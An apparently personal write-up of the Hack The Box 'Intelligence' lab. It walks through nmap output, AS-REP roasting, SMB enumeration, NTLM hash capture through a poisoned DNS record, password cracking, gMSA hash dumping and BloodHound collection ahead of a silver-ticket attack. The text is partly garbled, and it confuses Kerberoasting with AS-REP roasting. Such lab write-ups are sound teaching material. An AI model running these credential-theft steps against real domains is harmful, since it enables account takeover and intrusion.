# Nmap 7.92 scan initiated Thu Sep 2315:19:452021 as: nmap -sC -sV -oN nmap.out 10.10.10.248Nmap scan report for 10.10.10.248Host is up (0.35s latency).Not shown:988 filtered tcp ports (no-response)PORTSTATESERVICEVERSION53/tcp open domain Simple DNS Plus80/tcp open http Microsoft IIS httpd 10.0|_http-server-header: Microsoft-IIS/10.0|_http-title: Intelligence| http-methods:|_ Potentially risky methods:TRACE88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-09-2316:05:21Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb| Not valid before: 2021-04-19T00:43:16|_Not valid after: 2022-04-19T00:43:16|_ssl-date: 2021-09-23T16:06:48+00:00; +7h15m01s from scanner time.445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb| Not valid before: 2021-04-19T00:43:16|_Not valid after: 2022-04-19T00:43:16|_ssl-date: 2021-09-23T16:06:48+00:00; +7h15m01s from scanner time.3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb| Not valid before: 2021-04-19T00:43:16|_Not valid after: 2022-04-19T00:43:16|_ssl-date: 2021-09-23T16:06:48+00:00; +7h15m01s from scanner time.3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb| Not valid before: 2021-04-19T00:43:16|_Not valid after: 2022-04-19T00:43:16|_ssl-date: 2021-09-23T16:06:48+00:00; +7h15m01s from scanner time.Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:| smb2-security-mode: | 3.1.1: |_ Message signing enabled and required|_clock-skew: mean: 7h15m00s, deviation: 0s, median: 7h15m00s| smb2-time: | date: 2021-09-23T16:06:11|_ start_date: N/AService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Thu Sep 23 15:21:50 2021 -- 1 IP address (1 host up) scanned in 125.17 seconds
Nmap show a lot of services running on the machine, LDAP , Kerberos, HTTP, SMB and others. We also have hostname and virtual host in the nmap output. Add them to /etc/hosts file.
Web Enumeration
There are two pdf to download. Inside both files are not interesting but if we lookup meta data of the two file, we can see creator name.
Save in a file and let's check these two user are valid or not.
Both accounts are valid. Now try to query the domain for users with Do not require Kerberos pre-authentication set and export their TGTs for cracking.
┌─[sheinn101@parrot]─[~/htb/intelligence/writeup]└──╼ [??]$ python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py intelligence.htb/-usersfile users Impacket v0.9.22- Copyright 2020 SecureAuth Corporation[-] User William.Lee doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User Jose.Williams doesn't have UF_DONT_REQUIRE_PREAUTH set
Both accounts have not set to Do not require pre-auth. This mean, we can't perform Kerberoasting attack, it requires a user with Pre-Authentication enabled.
Now look at the name of PDF files, we can see a pattern. 2020-01-01-upload.pdf
It's just a date and we can generate list of dates and bruteforce for other pdf files.
We got one user valid with that password and we can also access shared folder of that user.
smbclient \\\\intelligence.htb\\Users -UTiffany.MolinaEnter WORKGROUP\Tiffany.Molina's password: Try "help" to get a list of possible commands.smb: \> ls . DR0 Mon Apr 1907:50:262021 .. DR0 Mon Apr 1907:50:262021 Administrator D0 Mon Apr 1906:48:392021 All Users DHSrn 0 Sat Sep 1513:51:462018 Default DHR0 Mon Apr 1908:47:402021 Default User DHSrn 0 Sat Sep 1513:51:462018desktop.ini AHS174 Sat Sep 1513:41:272018 Public DR0 Mon Apr 1906:48:392021Ted.Graves D0 Mon Apr 1907:50:262021Tiffany.Molina D0 Mon Apr 1907:21:4620213770367 blocks of size 4096.1390125 blocks availablesmb: \>
In Tiffany’s directory we can find the user flag.
smb: \Tiffany.Molina\Desktop\> more user.txtcc107e8830f*********f6f1e4795d69a6b
Privilege Escalation
In IT share folder
┌─[sheinn101@parrot]─[~/htb/intelligence/writeup/pdf]└──╼ [??]$ smbclient \\\\intelligence.htb\\IT-UTiffany.MolinaEnter WORKGROUP\Tiffany.Molina's password: Try "help" to get a list of possible commands.smb: \> ls . D0 Mon Apr 1907:20:552021 .. D0 Mon Apr 1907:20:552021downdetector.ps1 A1046 Mon Apr 1907:20:552021get3770367 blocks of size 4096.1390093 blocks availablesmb: \> get downdetector.ps1 getting file \downdetector.ps1 of size 1046asdowndetector.ps1 (0.6KiloBytes/sec) (average0.6KiloBytes/sec)smb: \>
We will get a powershell file
# Check web server status. Scheduled to run every 5minImport-Module ActiveDirectory foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {$request = Invoke-WebRequest -Uri "http://$($record.Name)"-UseDefaultCredentialsif(.StatusCode -ne 200) {Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}} catch {}}
It look like kind of cronjob running every 5min. It check for DNS records locally and if any of these records start with web then it will request the DNS record via HTTP request using current user’s credentials (probably Ted). If the response code is not 200 (OK) then it will send an email to Ted user mentioning that the host (DNS) is down.
If we map a DNS record to our own host (IP) and when the HTTP request is made to check the status of the DNS then we will receive a request (because our IP is mapped with that DNS) and in turn then we can send NTLM authentication request back to the IP address.So if we can add a dns in the record we can get the Ted.Graves hash using responder.
┌─[sheinn101@parrot]─[~/htb/intelligence/writeup/krbrelayx]└──╼ [??]$ john hash --wordlist=/opt/rockyou.txt Using default input encoding:UTF-8Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4HMAC-MD532/64])Will run 4 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusMr.Teddy (Ted.Graves)1g 0:00:00:09DONE (2021-11-2718:29) 0.1075g/s 1162Kp/s 1162Kc/s 1162KC/s Mrz.deltasigma..Morgant1Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliablySession completed
We got the password of Ted user. Now we can try the gMSADumper to read the password of svc_int (service account).
└──╼ [??]$ python3 gMSADumper.py -u 'Ted.Graves'-p 'Mr.Teddy'-d 'intelligence.htb'-l 'dc.intelligence.htb'Users or groups who can read password for svc_int$:>DC$> itsupportsvc_int$:::b98d4cef68f72a98dfeed732d1b1abca
Now we have the hash, I tried to crack to get the password but unfortunately I didn't get anything.
Getting Silver Ticket
Let’s use pass the hash technique to impersonate administrator and get the silver ticket. To generate silver ticket we need one more thing, that is SPN (Service Principle Name).
SPNs are used by Kerberos authentication to associate a service instance with a service logon account. This allows a client application to request that the service authenticate an account even if the client does not have the account name.
We will use bloodhound tool to dump AD environment to find the SPN.
┌─[sheinn101@parrot]─[/opt/BloodHound.py]└──╼ [??]$ python3 bloodhound.py -u Ted.Graves -p 'Mr.Teddy'-ns 10.10.10.248-d intelligence.htb -c AllINFO: Found AD domain:intelligence.htbINFO: Connecting to LDAP server:dc.intelligence.htbINFO: Found 1 domainsINFO: Found 1 domains in the forestINFO: Found 2 computersINFO: Connecting to LDAP server:dc.intelligence.htbINFO: Found 42 usersINFO: Found 54 groupsINFO: Found 0 trustsINFO: Starting computer enumeration with10 workersINFO: Querying computer:svc_int.intelligence.htbINFO: Querying computer:dc.intelligence.htbWARNING: Could not resolve:svc_int.intelligence.htb: The DNS query name does not exist:svc_int.intelligence.htb.INFO: Done in 01M 24S
It dump all the information in json format. We are looking for SPN, it should have in computers.json file.